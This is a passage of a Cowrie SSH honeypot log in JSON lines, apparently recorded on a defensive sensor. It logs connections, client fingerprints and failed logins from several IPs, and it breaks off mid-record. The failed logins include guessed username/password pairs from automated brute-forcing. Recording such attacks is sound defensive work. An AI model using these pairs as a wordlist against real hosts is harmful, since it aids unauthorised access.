{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12012,"dst_ip":"159.203.135.109","dst_port":22,"session":"748504acb78f","protocol":"ssh","message":"New connection: 213.209.159.158:12012 (159.203.135.109:22) [session: 748504acb78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:35.641661Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":58684,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e802957f8c0","protocol":"ssh","message":"New connection: 185.196.10.253:58684 (159.203.135.109:22) [session: 1e802957f8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:36.442576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:36.447082Z","src_ip":"185.196.10.253","session":"1e802957f8c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:36.561360Z","src_ip":"185.196.10.253","session":"1e802957f8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dhiraj","password":"12345678","message":"login attempt [dhiraj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:37.050772Z","src_ip":"185.196.10.253","session":"1e802957f8c0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:37.915431Z","src_ip":"213.209.159.158","session":"748504acb78f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:37.919059Z","src_ip":"213.209.159.158","session":"748504acb78f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:38.168670Z","src_ip":"185.196.10.253","session":"1e802957f8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vodafone","password":"vodafone","message":"login attempt [vodafone/vodafone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:48.002065Z","src_ip":"213.209.159.158","session":"748504acb78f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:51.240650Z","src_ip":"213.209.159.158","session":"748504acb78f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"6604e227d975","protocol":"ssh","message":"New connection: 213.209.159.158:47284 (159.203.135.109:22) [session: 6604e227d975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:51.340055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:53.577986Z","src_ip":"213.209.159.158","session":"6604e227d975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:53.581907Z","src_ip":"213.209.159.158","session":"6604e227d975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49434,"dst_ip":"159.203.135.109","dst_port":22,"session":"021cbe5141e5","protocol":"ssh","message":"New connection: 195.178.110.218:49434 (159.203.135.109:22) [session: 021cbe5141e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.360592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.364413Z","src_ip":"195.178.110.218","session":"021cbe5141e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":60206,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c222078e79","protocol":"ssh","message":"New connection: 2.57.122.210:60206 (159.203.135.109:22) [session: 17c222078e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.370301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.374333Z","src_ip":"2.57.122.210","session":"17c222078e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.443557Z","src_ip":"195.178.110.218","session":"021cbe5141e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.474325Z","src_ip":"2.57.122.210","session":"17c222078e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ava","password":"ava123","message":"login attempt [ava/ava123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.481486Z","src_ip":"213.209.159.158","session":"6604e227d975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.681800Z","src_ip":"195.178.110.218","session":"021cbe5141e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:03.776417Z","src_ip":"2.57.122.210","session":"17c222078e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:04.763545Z","src_ip":"195.178.110.218","session":"021cbe5141e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:04.877265Z","src_ip":"2.57.122.210","session":"17c222078e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":34466,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8dfabc45f3","protocol":"ssh","message":"New connection: 34.85.163.94:34466 (159.203.135.109:22) [session: bb8dfabc45f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.062299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.065413Z","src_ip":"34.85.163.94","session":"bb8dfabc45f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.074846Z","src_ip":"34.85.163.94","session":"bb8dfabc45f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"production","password":"123","message":"login attempt [production/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.320751Z","src_ip":"34.85.163.94","session":"bb8dfabc45f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.805260Z","src_ip":"213.209.159.158","session":"6604e227d975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54242,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccff041396d6","protocol":"ssh","message":"New connection: 213.209.159.158:54242 (159.203.135.109:22) [session: ccff041396d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:06.885395Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:07.334194Z","src_ip":"34.85.163.94","session":"bb8dfabc45f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:09.479863Z","src_ip":"213.209.159.158","session":"ccff041396d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:09.483246Z","src_ip":"213.209.159.158","session":"ccff041396d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"123456","message":"login attempt [arthur/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:19.169412Z","src_ip":"213.209.159.158","session":"ccff041396d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:22.388837Z","src_ip":"213.209.159.158","session":"ccff041396d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45736,"dst_ip":"159.203.135.109","dst_port":22,"session":"758f5138828f","protocol":"ssh","message":"New connection: 213.209.159.158:45736 (159.203.135.109:22) [session: 758f5138828f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:22.467967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:25.193683Z","src_ip":"213.209.159.158","session":"758f5138828f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:25.197677Z","src_ip":"213.209.159.158","session":"758f5138828f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup.123","message":"login attempt [backup/backup.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:34.764285Z","src_ip":"213.209.159.158","session":"758f5138828f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:38.437133Z","src_ip":"213.209.159.158","session":"758f5138828f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41048,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fe63a09a2cb","protocol":"ssh","message":"New connection: 213.209.159.158:41048 (159.203.135.109:22) [session: 0fe63a09a2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:38.515196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:40.940588Z","src_ip":"213.209.159.158","session":"0fe63a09a2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a